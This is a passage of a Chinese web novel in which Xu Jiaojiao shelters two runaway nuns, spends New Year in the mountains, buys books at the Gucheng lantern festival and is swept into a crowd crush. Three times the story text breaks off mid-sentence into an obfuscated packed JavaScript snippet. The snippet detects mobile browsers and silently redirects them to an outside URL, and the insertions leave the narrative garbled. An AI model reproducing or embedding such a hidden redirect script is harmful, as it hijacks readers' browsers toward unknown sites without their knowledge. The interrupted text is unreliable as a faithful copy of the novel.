她说着,眼泪又掉下来:“我长得丑,师父看不上,只让我干活。可现在庵也没了,我……我不知道该去哪儿……” 许娇娇心里一阵酸楚。 她想起那日在柴房后看见静心哭,想起这个胆小怯懦的小姑娘,在水仙姑的魔爪下战战兢兢活了这么多年。 “进来吧。”她伸出手。 静心愣愣地看着她,不敢相信。 “快进来,外头冷。”许娇娇又说了遍。 静心这才慢慢站起身,跟着她进了屋。 屋里,静尘看见静心,也吃了一惊。两人对望着,眼眶都红了——她们都是从那魔窟里逃出来的人。 许娇娇去厨房热了粥,又烙了几张饼。三个人围坐在火塘边,捧着热乎乎的碗,谁也没说话,可这寂静里却有种说不出的暖意。 吃罢饭,许娇娇开始安排住处。茅屋只有一间正屋,她让静尘和静心睡床上,自己打算在墙角搭个地铺。 “那怎么行?”静尘忙道,“你睡床,我打地铺。” “我是主人,我说了算。”许娇娇难得强硬一回,“师姐身子还没好利索,静心也冻得不轻,你们睡床暖和。” 她说着,已经开始铺稻草。静尘知道拗不过她,只好帮着一起收拾。 这一夜,小小的茅屋里住了三个人,竟显得格外拥挤,却也格外热闹。 静尘和静心都是勤快人。静尘会认草药,帮着许娇娇晒药、分药;静心虽然胆小,但手脚麻利,做饭洗衣打扫,样样都做得妥帖。 许娇娇总算松了一口气,有人帮忙做饭真好。 三个女子在这深山里,竟把日子过得有模有样。 可许娇娇心里那根弦,始终没松下来。 水仙姑被抓已经两个多月了,县衙那边一点消息都没有。赵秀才托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三人留李婆子吃了午饭。饭桌上,李婆子压低声音说:“我让二根又去打听了一回,还是没信儿。不过听说……宋县令前些日子去了府城,说是述什么职,我也不懂。可这一去就是几个月,还没回来。” 许娇娇心里一动:“府城?” “嗯。”李婆子点头,“咱村的耆老的那个侄孙,张三郎,你还记得不?在县衙做官的那个。” 许娇娇点点头:”记得。”原主小时候见过,长得十分精明能干有心计。 “他前儿不是回来了,骑着马,威风得很,他说的话还能有假?还有那个孙都头,调走了,说是调去邻县。新来的都头姓陈,面生得很。” 这消息让许娇娇更加不安。调走知情人,换上新面孔,归平县的水怕是比她想象的还要深,看来水仙姑的后台很硬。 “阿婆,”她握住李婆子的手,“往后您也少往山上跑。村里若是有人问起我们,您就说不知道。” 李婆子看着她,叹了口气:“乖囡,阿婆知道你在担心什么。可这世道……咱们小老百姓,能怎么办?” 是啊,能怎么办? 许娇娇望着窗外灰蒙蒙的天。雪花开始飘了,细细密密的,像是要把这山、这林、这茅屋,都埋进一片纯白里。 可她心里清楚,有些事,是埋不住的。 就像雪化之后,该露出来的,终究会露出来。 送走李婆子,许娇娇站在院门口,看着雪花一片片落下。 静尘走过来,给她披了件衣裳:“小施主,进屋吧,外头冷。” 许娇娇没动,只是轻声问:“师姐,你怕吗?” 静尘沉默片刻,摇了摇头:“从前在水月庵,日日夜夜都怕。现在……反倒不怕了。” “为什么?” “因为有了你们。”静尘看着屋里透出的灯光,笑了,“从前是一个人,现在是三个人。三个人在一起,还有什么好怕的?” 许娇娇转过头,看着她的笑容,心里那块大石头,忽然轻了一些。 是啊,三个人。 兵来将挡,水来土掩。她们三个女子,在这深山里,也能把日子过下去。 雪越下越大了。 茅屋里,火光暖暖地亮着。旺财趴在门口,耳朵竖着,警惕地望着山路。 20. 第20章 山中除夕 日子如流水滑过,转眼到了大年三十。 许娇娇记得前世时,每逢过年,家里亲戚聚齐,热闹非凡。祖父坐在太师椅上,笑呵呵地给孙辈发压岁钱;父母在厨房里忙活,一个炖肉一个包饺子,香气能从灶间飘满整个院子。她呢,总是最晚回家的那个,总要熬到腊月二十九才能脱身。父母的责备电话里带着喜悦:“又这么晚!全家就等你一个!” 当时总觉得烦,嫌他们啰嗦,嫌家里吵闹。如今想来,那责备里藏着的牵挂,那喧闹里裹着的温情,都成了回不去的念想。 她站在茅屋门口,望着远山覆雪,怔怔出神。 “小施主,想什么呢?”静尘的声音从屋里传来。 许娇娇回过神,笑了笑:“没什么,就是觉得……这山里的年,和城里不太一样。” 静尘端着盆热水出来:“是不一样。城里爆竹喧天,咱们这儿……安静。” 安静。是啊,太安静了。自从水仙姑被抓,找她看病的人也少了很多,也许是山路难行,尤其又下了雪。年关将近,不管是富人还是穷人,都想安安稳稳过个好年吧! “没有走亲访友的喧哗,没有街坊邻居的拜年声,就连爆竹声,也只在极远的山下隐隐传来,像是隔着一层厚厚的棉絮。”却是安静。许娇娇淡淡的放佛自言自语。 可这份安静里,也有别样的踏实。 水仙姑被抓真好,那个狗腿子静非也不见了踪影,少了很多麻烦,不过许娇娇心里还是有点不太踏实,那个静非曾在大雨夜冒充她害张大的媳妇一尸两命这件事,她时不时想起来心里还是一阵刺痛。 这几年,她试着根据前世的记忆配制了几款成药,家里如今切药刀、药碾子,石臼、研钵、搓丸板、但凡成药的工具都基本齐全。静尘根据她的指点帮着碾药,她则根据配方合药。忙了好些日子,才将托张记生药铺寄卖的药丸子做好。静心则帮着打打下手,看着她忙活,眼里都是好奇和惊讶已经被习以为常取代。 她又让孙二根帮忙,把秋末采的最后一批草药和这批药丸送到张记生药铺。张东家见了她的草药,又是一番称赞,给了个公道的价钱——一两三钱碎银。又托孙二根捎回了上次寄卖药丸子所得的银钱。又一包红枣、一包红糖,说是过年礼。 李婆子那边,也把替她保管的四两银子一并托孙二根带了过来,还带了几句话。 李婆子的原话是:“娇杏那边现在多了两张嘴,如今米粮价高,她一个小人也是运气好,才得了赏银。我本打算替她存着,可你看你那外甥——成日里不着家,但凡回来,不是问我要银子,就是在外头借钱。如今村子都被他借遍了,谁家还肯借他?去年借了王寡妇三百钱,人家追着他要,他倒好,跑没影儿了,最后还不是我替他还的。我这是造了什么孽,生了这么个败家子!” “如今连大郎媳妇一个小辈都指着我的鼻子骂我偏心。我要不是看在两个孙儿还小,可怜他们的娘早早走了……我为他操了多少闲心?他倒好,甩手掌柜一般,任啥也不干,那地里的荒草都长到人高了……” “罢了罢了,你将她存在我这里的银子带给她。过年了总得置办些吃食家用。但也得嘱咐她省着点用——她还小,别被人撺掇着胡乱花销了。” 许娇娇知道,李婆子这话半是体贴,半是顾虑。她那个不成器的二儿子成天在外胡混,若是知道家里藏着银子,保不准哪天就摸走了。到时候丢了钱,不但对不住娇杏,更对不住死去的许大郎夫妇。 这份细心,让许娇娇心里暖了很久。她也没白拿,让孙二根带回了一只肥硕的野兔——是她前几日在后山下的陷阱逮到的,还有静尘和静心做的米糕、芝麻糖,用油纸仔细包好。 礼尚往来。就冲李婆子这个为人,她会把她当成祖母敬着。 腊月三十,天还没亮透,三人就都起来了。 静心最先起身,轻手轻脚地生火烧水。灶膛里的火光照亮她认真的小脸——这丫头自从来了茅屋,像是换了个人,不再终日畏畏缩缩,眼里渐渐有了光。 静尘在里屋整理床铺,把被褥叠得整整齐齐。许娇娇则从箱底拿出三件新夹衣——这是她前些日子托李二根从城里捎回的布料,静尘和静心熬了几夜赶制出来的。 夹衣用的是粗蓝布,里头絮了新棉花,针脚密密实实。虽不算精致,可在这寒冬里,比什么都金贵。 “来,试试。”许娇娇把衣服递过去。 静尘接过,摸了摸厚实的夹袄,眼眶有些发红:“这……这太费布料了。” “过年嘛,总要穿点新的。”许娇娇笑道,“快穿上看看。” 静尘摸了摸她的头,语气温柔敦厚:“你年岁比我和静心都小,竟是如此聪慧……许是父母早亡吧,你这小施主早慧多智得让人惊艳。” 三人换上夹衣,互相打量着,都笑起来。 静尘穿着合身,衬得她温婉端庄;静心个子小,衣摆略长了些,可小姑娘爱惜得不得了,轻轻抚着衣襟,生怕弄皱了。许娇娇自己那件最是妥帖,蓝布衬得她小脸越发白净,眉眼间的稚气里,竟透出几分不属于这个年纪的沉稳。 “真好看。”静心小声说。 许娇娇揽过她的胳膊:“咱们都好看。” 早饭简单,热了昨夜的剩粥,就着咸菜吃了。饭后,三人开始忙活年夜饭。 静尘和面,准备包饺子——这是许娇娇教的。山里没韭菜,就用白菜拌着野葱做馅,再剁些腊肉丁提味。静心洗菜切菜,许娇娇则处理了只野鸡——这也是她在后山下的陷阱抓到的。 鸡肉用盐水泡过,去了腥气,切成小块。她想起前世爷爷教的法子,用山里采的花椒、八角,加上姜蒜,慢火炖上。不多时,肉香就飘满了屋子。 “真香啊。”静心吸着鼻子,眼睛亮晶晶的。 “一会儿还有更香的。”许娇娇笑道。 她又取出李婆子送来的腊肉,让静心切成薄片,和冬笋一起炒。笋是前几日挖的,埋在屋后雪地里,鲜嫩得很。 灶台上渐渐摆满了菜:炖鸡肉、腊肉炒笋、白菜豆腐、还有一碟煎得金黄的鸡蛋饼。最后是一大盆饺子,白白胖胖的,在沸水里翻滚。 忙活到晌午,菜都齐了。 三人把桌子搬到堂屋正中——这桌子是许娇娇用旧木板拼的,虽不平整,却也结实。碗筷摆好,菜一道道端上来,小小的桌子竟摆得满满当当。 “等等。”许娇娇忽然想起什么,从怀里掏出三个小红包。 那是她用红纸自己糊的,里头各包了二十文钱——不多,就是个意思。 “压岁钱。”她把红包递给静尘和静心,“愿咱们新的一年,平平安安。” 静尘接过红包,手都在颤:“这……这怎么使得……” “使得。”许娇娇按住她的手,“咱们是一家人。” “一家人”三个字,让静尘的眼泪终于掉下来。她连忙擦去,重重点头:“对,一家人。” 静心也哭了,抱着红包不撒手——这是她这辈子,第一次收到压岁钱。 三人正要动筷,外头忽然传来旺财的叫声,紧接着是“砰砰” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222031|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的敲门声。 许娇娇心头一紧,起身往外看。却见门口站着个身影——是李婆子的大孙子大郎,十一二岁的半大少年,脸蛋冻得红扑扑的,怀里抱着个布包袱。 “大郎?你怎么来了?”许娇娇忙开门让他进来。 大郎吸了吸鼻子,把包袱递过来:“阿婆让我送来的。说给你们添个菜。” 许娇娇接过包袱,打开一看——里头是炸丸子、炸豆腐,还有一小块熏鱼,都用油纸仔细包着。最底下还有个小酒壶,用软木塞塞着。 “阿婆说,这是二根舅舅自己酿的米酒,让你们暖暖身子。”大郎脆生生地说,“阿婆还说,她家里一摊子事,今儿走不开,等过了初五再来瞧你们。” 许娇娇心里一暖:“你阿婆家里……都好吧?” “好着呢!”大郎点点头,“二叔今日难得在家,帮着劈柴。阿婆说我舅母也能下地了,阿婆说,今年过年总算能齐整些。” 他说着,眼睛往桌上瞟了瞟,见那一桌菜,悄悄咽了口口水。 静尘忙拿了碗筷:“大郎吃了没?在这儿一起吃吧。” 大郎摇摇头:“不了,阿婆让我送了东西就回去,说家里等着我吃饭呢。” 大郎看着一桌好吃的有些腼腆的笑。 许娇娇笑了,用油纸包了两个鸡腿、几个饺子,塞进他怀里:“带回去给二郎尝尝。” 大郎眼睛一亮:“谢谢娇杏姐姐!” “路上慢点,天黑前一定到家。”许娇娇叮嘱道。 “嗯!”大郎抱着油纸包,欢欢喜喜地跑了。 三人重新坐下,看着桌上李婆子送来的菜,心里都暖融融的。 许娇娇给每人倒了点米酒,淡黄的酒液在粗瓷碗里荡漾,香气扑鼻。她端起碗:“来,咱们碰一个——愿新的一年,无病无灾,日子越过越好!” “无病无灾,日子越过越好!”三人齐声应和,碗碰在一起,叮当作响。 这顿年夜饭吃得格外香甜。没有喧闹的人声,却有温暖的陪伴;没有满桌的珍馐,却有彼此的心意。 饭后,三人收拾了碗筷,围着火塘坐下。静心拿出针线,开始缝补衣裳;静尘则拿起一本旧经书,轻声诵念。许娇娇靠在墙上,看着跳跃的火光,思绪飘远。 忽然,山下远远又传来爆竹声。 噼里啪啦,断断续续,在这寂静的山谷里回荡。 “放爆竹了。”静心抬起头,眼里映着火光。 “是啊,放爆竹了。”许娇娇轻声道。 辞旧迎新。不管旧年有多少艰难,新年总会来。 就像这山里的雪,再厚也会化;就像崖边的野草,再冷也会发新芽。 也不知那一世的父母家人都安好吧! 而此刻,山下的落溪村里,家家户户的灯火也渐次亮起。李婆子家的堂屋里,一家人难得齐齐整整地围坐着,桌上摆着简单的饭菜,却有难得的团圆。 大郎把油纸包打开,鸡腿的香气顿时弥漫开来。二郎欢呼一声,伸手就要拿。 “慢着,”李婆子拍开他的手,把鸡腿分给两个孩子一人一个,“这是娇杏妹妹给的,要记着人家的好。” “记着呢!”大郎咬了口鸡腿,含糊不清地说,“娇杏姐姐真好。” “是妹妹,”李婆子拍了拍他的头,“娇杏比你小呢!” 妹妹也好,姐姐也罢!只要有鸡腿吃,都好!大郎一边吃一边在心里想。 李婆子望着窗外黑沉沉的山影,心里默默念叨:乖囡,愿你也能过个好年。 21. 第21章 元宵夜 出了正月十五,年才算真正过完。 这几日山里一直飘着小雪,茅屋屋檐下挂了一排冰棱子,晶莹剔透。静心早起生火烧水,不小心碰掉一根,“啪嗒”一声脆响,把自己吓了一跳。 静尘正在念经,闻声抬起头,见她手足无措的模样,忍不住笑了:“碎了就碎了,没伤着就好。” 许娇娇从屋里出来,手里拿着个小布袋:“今天十五,咱们下山看花灯去。” “看花灯?”静心眼睛一亮,“去镇上吗?” “不,去菰城。”许娇娇把布袋递给她,“城里灯会热闹,我让孙二叔带咱们去。” 静尘却有些犹豫:“这……菰城那么远,走官道更远,要想走近道,必须要乘船呢!人多眼杂的,会不会不安全?” “放心吧师姐,”许娇娇早有打算,“咱们早去早回。再说,我都跟孙二叔讲好了,他这回要赶牛车去城里送柴禾,咱们坐他车去也方便,不往人多的地方挤就是了。” 她顿了顿,又道:“我也想去城里看看,买些日用物品。如今连个像样的澡盆都没有,每次洗澡都是简单擦洗。”说到这里,她一脸无奈,“每日只用一木盆水擦身子,大冬天的又冷又不干净,真是够够的了。还要再看看有没有书肆,我想买几本书,顺便把年前没卖完的那些草药带去张掌柜那儿卖了。” 其实她还有另一层心思——在山里闷了几个月,也该出去透透气了。水月庵到现在还被官府封着,她更想打听一下消息。更何况,元宵灯会是一年中最热闹的时候,错过了实在可惜。 静尘见她心意已决,便不再劝,只道:“那咱们都穿厚些,城里虽然比山中暖和,但夜里还是冷的。” 三人收拾妥当,许娇娇特意换上李婆子送的新棉鞋,又给旺财留足了吃食,这才锁了门下山。 孙二根已经在山口等着了。他赶着辆旧牛车,车上铺了层厚厚的稻草,又垫了块旧毡子。 “娇杏,这边!”孙二根挥挥手,脸上带着憨厚的笑,“我阿姐说让我一定把你们照顾好,可不能出岔子。” 许娇娇笑着爬上车:“麻烦二根叔了。” 静尘和静心也跟着上了车,三人挤在稻草堆里,倒也不觉得冷。 牛车缓缓上路,车轮碾过积雪,发出“咯吱咯吱”的声响。 路上,许娇娇想起一事,问道:“二根叔,金桂婶的病好些了吗?” 孙二根闻言,脸上露出笑容:“好多了!多亏了你那方子,你金桂婶轻省多了。如今虽还有些疼痛,但比原先好太多了,晚上已经能睡安稳觉了。” 他转头看了许娇娇一眼,眼神里满是感激:“娇杏,你这记性真好。你阿爹的那些方子幸亏你聪慧,记得住,往后啊!你也和你阿爹一样,定能做个好郎中。” 许娇娇心里一松,眉开眼笑,一张小脸越发可爱:“多谢二根叔吉言,能帮上忙就好。这回到了菰城,我找个书肆买些纸张,我这里还记起了我爹的一个方子,比之前的那个效果更好,到时候给金桂婶换个方子,再吃吃看。” “那真是太好了,”孙二根闻言大喜。 之前已经换过方子,那个方子就很好,且药也都是普通的药材,并非多么贵重。若这回吃了这个方子,金桂能更好,他心头的担子也会轻省许多。 他将牛车赶得更加用心了。心里对已故的许大郎充满了敬意,对许娇娇也越发热情周到。 和之前一样,他们在中途换了渡船,等到菰城时,已是午后。 今日的菰城果然不同往日。还未进城,便见城门上挂了硕大的红灯笼,城墙上彩旗飘飘。进城后,街上行人摩肩接踵,两旁店铺张灯结彩,卖糖人的、吹糖画的、捏面人的,各式小摊挤满了街边,吆喝声此起彼伏。 “先去张记生药铺,”孙二根扬着鞭子“嘚嘚”了两声,“我先将你们送到生药铺,把草药送过去,然后你们先逛着,我去将木柴送完来寻你们。” “好,二根叔,这样吧!”许娇娇想了想,“二根叔你去送货,不要管我们啦!我们要在城里好好逛逛,看完花灯,我们约好的地方见。” “也好。”孙二根应了声,赶着牛车往城东走。 张记生药铺今日也格外喜庆,门口挂了两个八角灯笼,贴着红纸写的“福”字。张东家正在柜台后头打算盘,见许娇娇进来,眼睛一亮:“哟,许小娘子来了!新年吉祥啊!” “张伯伯您也新年吉祥。”许娇娇笑着行礼,让孙二根把草药搬进来。 张铺主验了货,连连点头:“晒得干脆,收拾得也干净,越发好了。这批草药,我给你算一两五钱,如何?” 许娇娇知道这价格公道,便应了下来。张铺主又拿出一包东西:“这是年节里客人送的糕饼,我留了些,给你们尝尝。” 许娇娇谢过,接过糕饼,又问了问近来什么药材紧俏。张铺主说了几样,她一一记在心里。 从生药铺出来,天色尚早。许娇娇看着孙二根驾车离开的背影,转身对静尘和静心道:“师姐,静心,咱们去趟书肆吧。” 静尘有些意外:“书肆?你要买书?” “嗯,”许娇娇点头,“想买些医书看看,再买点别的。” 静心小声问:“娇杏妹妹,书很贵的……” “我知道,”许娇娇拉了拉她的手,“咱们先看看,不一定买。” 其实她怀里揣着张东家刚给的一两五钱银子,加上之前攒的,有近六两了。这在乡下算是一笔不小的钱财,但买书……确实得精打细算。 三人沿着青石板路往前走,转过一个街角,便看见一家不大的书肆。 门面古朴,黑漆匾额上写着“墨香斋”三个鎏金大字。门口挂着一副对联:“架上文章皆锦绣,胸中翰墨自芬芳。”虽不算气派,却透着一股书卷气。 推开厚重的木门,一股淡淡的墨香混合着纸张特有的气味扑面而来。店里光线有些昏暗,一排排书架高及屋顶,上面整整齐齐码着线装书。靠窗的位置摆着张长条桌,上面摊着几本翻开的书,一位须发花白的老先生正伏案抄写着什么。 听见动静,老先生抬起头,推了推鼻梁上的玳瑁眼镜:“几位小娘子,要买什么书?” 他的声音温和,没有因她们衣着朴素而怠慢。 许娇娇上前一步,行了个礼:“老先生,我们想看看医书,还有……地理志、风物志之类的。” 老先生放下笔,站起身:“医书在左边第三排,地理风物在右边第二排。你们自己看吧,有要的叫我。” 说完又坐下继续抄写,不再打扰她们。 许娇娇道了谢,领着静尘和静心往左边走。静尘和静心都大字不识一个,两人跟在许娇娇身后,都有些拘谨。 医书区的书不少,大多是些常见的《千金方》《本草纲目》《伤寒论》之类。许娇娇随手拿起一本翻看,发现内容与她前世所知的大同小异,只是版本不同,注解有异。 她又翻了几本,忽然眼睛一亮——角落里放着一套《许氏医案》,薄薄三册,纸张已泛黄,显然有些年头了。 “许氏……”许娇娇喃喃念着,翻开扉页。 里面记载的是一个姓许的郎中的行医心得,多是些常见病的治疗案例,文字朴实,记录详实。从时间上看,这位许郎中应是百年前的人物了。 “老先生,这套书怎么卖?”许娇娇捧着书走到柜台前。 老先生抬眼看了看:“哦,这套啊……放了有十来年了,一直没人要。你要的话,给一百文吧。” 一百文!静尘和静心都暗暗咋舌。 许娇娇却觉得值。她数出钱来递给老先生,又问:“老先生,您这儿有介绍各地风土人情的书吗?还有……史书?” 老先生接过钱,认真打量了她几眼:“小娘子……竟对这些感兴趣?” “就是想多了解些。”许娇娇含糊道。 老先生神色有些诧异,他看了看许娇娇身后的静尘和静心,顿了顿,本想说点什么,随即又一笑,走到右边书架前,取了几本书出来:“这本《大越舆地纪略》是十年前编的,虽然有些地方过时了,但大体不差。这本《九州风物志》写的是各地特产风俗。至于史书……”他顿了顿,“《大越通史》太贵,要二两银子一套。你若只是想了解本朝历史,这本《大越开国纪事》比较便宜,只要三百文。” 许娇娇接过来翻看。全是繁体字,不过许娇娇前世看过很多繁体范本,这本《大越舆地纪略》里的字她勉强都认得。她仔细翻阅,只见里面详细记载了大越朝的疆域、州府、山川河流,还有各地的气候物产。她又翻到江南道菰城那一章,上面写道:“菰城,隶属江南道吴越,地处天目山余脉,东临太湖,物产丰饶,盛产丝绸、茶叶、药材……” 她又翻了翻《大越开国纪事》,里面记载大越朝已历一百七十余年,当今圣上是第七位皇帝,年号景明,登基已有十五年。 “老先生,这书里说的大越朝……以前是什么朝代?”许娇娇试探着问。 老先生愣了愣,随即笑道:“小娘子问这个啊。大越之前是大梁,大梁之前是大陈,再往前就说不清了。这书里只写大越开国以来的事,你若想了解前朝,得看《梁史》《陈史》,那些就更贵了。” 许娇娇心里有数了——这是个与她前世所知历史完全不同的时空。 她又翻了翻其他书,最后选了《大越舆地纪略》和《大越开国纪事》,加上《许氏医案》,一共花了五百文。 老先生也许是很少见年纪这么小的娘子来买书,虽然他一直在低头书写,可时不时地抬头瞄一眼许娇娇,如今见她如此爽快,神色又和悦了几分,他从柜台下拿出几本旧书:“这几本是我收来的旧书,有些破损,但不影响阅读。小娘子你若想要,五十文全拿走。” 许娇娇接过一看,是几本杂书——《农桑辑要》《家常菜谱》《女诫注释》,还有一本薄薄的《千字文》。 她心头一动,翻开《千字文》,里面果然和现代的千字文一模一样,从“天地玄黄,宇宙洪荒”开始,配有简单图解。 “这本好,”许娇娇对静尘和静心说,“你们俩正好可以学认字。” 静心怯生生地看了看书,又看看许娇娇,眼睛里闪着期待的光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222032|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “都要了。”许娇娇又数出五十文。 老先生笑眯眯地把书包好,又送了她一刀粗纸和两支毛笔:“看小娘子是个爱读书的,这些送你。纸是次等纸,练字不心疼;笔也是普通的,初学够用了。” 许娇娇连声道谢,抱着书出了书肆。 静尘帮她分担了一些,轻声问:“娇杏,买这么多书……银子还够用吗?” “够的,”许娇娇笑道,“这些书比粮食金贵,但值得。” 她心里盘算着:六两银子,花去五百五十文,还剩五两多。够她们三人生活好一阵子了。 三人又在街上逛了逛,买了些盐、针线、灯油等日常用品。许娇娇还给静心和静尘各买了朵头花——最便宜的绢花,一朵五文钱,静尘急忙推辞,她一个尼姑,怎么可以戴花,急得脸色通红。许娇娇捏了捏静尘的手,苦口婆心地劝道:“静尘姐姐,你出家做尼姑也不是你自己愿意的呀,你那时候小,不懂事,如今水月庵都被官府查封了,庵里都没人了,你也没地方去,你是可以还俗的呀!” “是呀是呀!”静心倒是十分喜欢,她珍重地将那头花藏在怀中。以前看起来胆小卑微的姿态已经不见了。她扬起一张笑脸露出一口牙——她比许娇娇大两岁,今年十三岁。“娇杏说的对呀!静尘姐姐,我也不是自愿当姑子的,我是被我爹卖给水仙姑的。”说到这里她脸色一变:“糟了,娇杏,我的卖身契还在水仙姑手中,这可怎么得了。” 许娇娇一听,也是心里一惊,她仔细想了想道:“你先别急,我们先不想这些,等回去了我想办法。” 静尘沉默了,她从小就跟着师父在水月庵出家,后来水仙姑来了,她的师父却......死了,再后来她一直跟着水仙姑,她应该也有身契的吧? 本来三人挺高兴,结果说到这个,大家都露出了愁容。还是许娇娇很快镇定了下来,她开导两人:“不急,车到山前必有路,我们一步一步来。总会有办法的。”两人听了许娇娇的话,也就作罢。 三人继续逛了逛,却都兴致不高了。看看天色渐晚,她们到约定的地点等李二根。许娇娇靠在墙边,迫不及待地翻开《大越舆地纪略》,如饥似渴地读起来。 原来她所在的这个世界,是一个叫大越的朝代。疆域辽阔,分十三道,下设州府县。江南道是其中最富庶的地区之一,菰城虽是小城,但因地处水陆要冲,贸易繁盛。 她又翻到介绍风俗的那一章,看到一行字:“大越承前朝旧制,士农工商,等级分明。女子十五及笄,可议婚嫁;男子二十弱冠,方可娶妻……” 街上的灯笼一盏接一盏亮起来,远远望去,整条街成了光的河流。 “真好看……”静心仰着头,眼睛都不够用了。 街边的花灯琳琅满目:有莲花灯,粉嫩的花瓣层层叠叠;有兔子灯,红眼睛长耳朵,憨态可掬;有走马灯,灯影转动,映出才子佳人的故事;还有龙灯、鱼灯、宫灯……各色各样,美轮美奂。 最引人注目的是街心搭起的一座灯楼,高约三丈,通体用彩绸和灯笼装饰,层层叠叠,璀璨夺目。灯楼下围满了人,不时发出惊叹声。 “咱们就在这边看看,别往里挤。”许娇娇拉着静尘和静心,在人群外围站定。 孙二根把牛车拴在南门口的老槐树下,已经在约好的地方等着了,见三人过来,忙笑着迎上。 “娇杏买了这么些书本,”他顺手接过许娇娇手中那摞用蓝布仔细包好的书册,掂了掂分量,眼里露出淳朴的赞许,“沉甸甸的,都是学问。” 他将书妥帖地拿好,笑容里多了几分怀念:“如今看你这样,倒真有几分你爹当年的模样。他若泉下有知,晓得小娘子这般上进,心里不知该多慰藉。” 越来越热闹,耍龙灯的队伍过来了。一条金龙在人群中蜿蜒游走,龙身里透出暖黄的光,龙眼是用红绸做的,在夜色中炯炯有神。舞龙的小伙子们赤着膀子,在寒风中腾挪跳跃,赢得阵阵喝彩。 静心看得入了迷,小脸兴奋得通红。 许娇娇也看得津津有味。这热闹的烟火气,让她恍惚间像是回到了前世的庙会。只是那时的她总是来去匆匆,很少真正停下脚步,感受这份喧闹中的温情。 正看着,忽然人群骚动起来。 “让开!让开!”几个穿着绸缎衣裳的仆从在前头开路,后头跟着一顶小轿。轿帘掀开一角,露出个十三四岁小娘子的侧脸——头戴金钗,耳坠明珠,一身锦缎在灯光下闪闪发亮。 “这是哪家的娘子?”有人低声议论。 “看这排场,定是大户人家的。” 轿子往灯楼方向去了,仆从们粗暴地推开挡路的人,引得一阵不满的嘟囔。 许娇娇皱了皱眉,拉着静尘和静心往旁边让了让。 就在这时,异变突生。 不知是谁喊了声“灯楼要倒了”,人群顿时炸开了锅。喧嚣声一阵接一阵传来,随着喊声,人群都往后撤退,后面的人往前挤,前面的人想后退,推搡间,惨叫声、哭喊声此起彼伏。 “娇杏,快走。”孙二根大喊,伸手去拉许娇娇。 22. 第22章 初遇 可人潮汹涌,瞬间就把他们冲散了。许娇娇只觉得四面八方都是人,她被推得踉踉跄跄,脚下不知踩到了什么,一个趔趄就要摔倒。 不好,许娇娇大惊,这要是摔倒了,那就会被人群踩成肉饼的!她奋力地往上窜,抓住一切可能抓到的东西,眼前全是人,哭喊声,怒吼声,大骂声,惨叫声……许娇娇吓得手脚都颤抖了,她不管不顾抓着前面人的衣襟衣袖后领往上爬,就这样被人架着双脚腾空随着人流往前挤,有人来扒拉她的胳膊,她狠心一口咬下去,那只手吃痛缩了回去。她指尖抠进布料的纹路里,借着这股拉扯的力道,双脚在混乱的人缝里胡乱蹬着,膝盖顶在那人的后腰上,硬生生将自己的上半身扒在了那人的背上。两手死死抓着那人的后衣领。她的脸贴在少年的后背上,能感受到他身上淡淡的松墨香混着上好熏香的味道,也能感觉到少年身体的僵硬和抗拒,可她顾不上这些,只是死死抓着这根“救命稻草”。期间那只被她咬过的手又要抓她,却被后面的人推着走远了。直到人群把他们推挤着走到了稍微靠边的地方,她总算能喘口气了,汗水顺着脸颊往下淌,心脏砰砰砰地剧烈跳动着。 “下来,哪里来的叫花子,给爷下来。”正在这时,一个气急败坏的声音响起。 许娇娇定睛一看,心里直道糟了。 原来刚才千钧一发之际,她随手抓了一个人的衣领,硬是爬在人家的背上被那人背了出来。 她急忙从那人的背后溜下来,嘴里也急忙道着歉,“对不住对不住,刚才人太多了,没有注意到,真对不住。”说着转身就要溜到旁边的巷子里去。 却被一只温热有力的手抓住了她的胳膊。 许娇娇抬头,对上一双喷火的眼睛。 她低头看着攥住自己胳膊的那只手——骨节分明,指腹带着薄茧,腕间系着一枚墨玉平安扣,衬得手腕愈发白皙。顺着手臂往上看,撞进眼帘的是一身月白色杭绸直裰,料子是上好的苏绣暗纹,领口袖边滚着银线,一看便知是富贵人家的公子。 少年约莫十三四岁的年纪,生得极好。眉如墨画,眼若寒星,鼻梁高挺,唇色偏淡,只是此刻那双漂亮的眼睛里满是愠怒,眉头拧成了川字,连带着精致的下颌线都绷得紧紧的。他周身透着一股矜贵的傲气,此刻正嫌恶地看着自己被许娇娇抓皱的衣领,另一只手还在轻轻拍打方才被她碰过的衣料,那副模样,像是沾了什么脏东西一般。 “哪里来的野丫头,这般不知礼数?”少年的声音清冽,却带着毫不掩饰的嫌弃,“爬在我背上还不算,竟还敢抓坏我的衣裳?这杭绸是姑苏定制的,你赔得起吗?” 许娇娇本就惊魂未定,被他呵斥一通,火气也上来了。她挣了挣胳膊,没挣开,便抬眼迎上他的目光,也不怯场:“公子这话好没道理。方才人群大乱,若不是我抓着你,怕是早被踩在下面了。我谢你还来不及,你反倒先怪罪我?何况我也不是故意抓皱你的衣裳,大不了我赔礼道歉便是,何必这般咄咄逼人?” 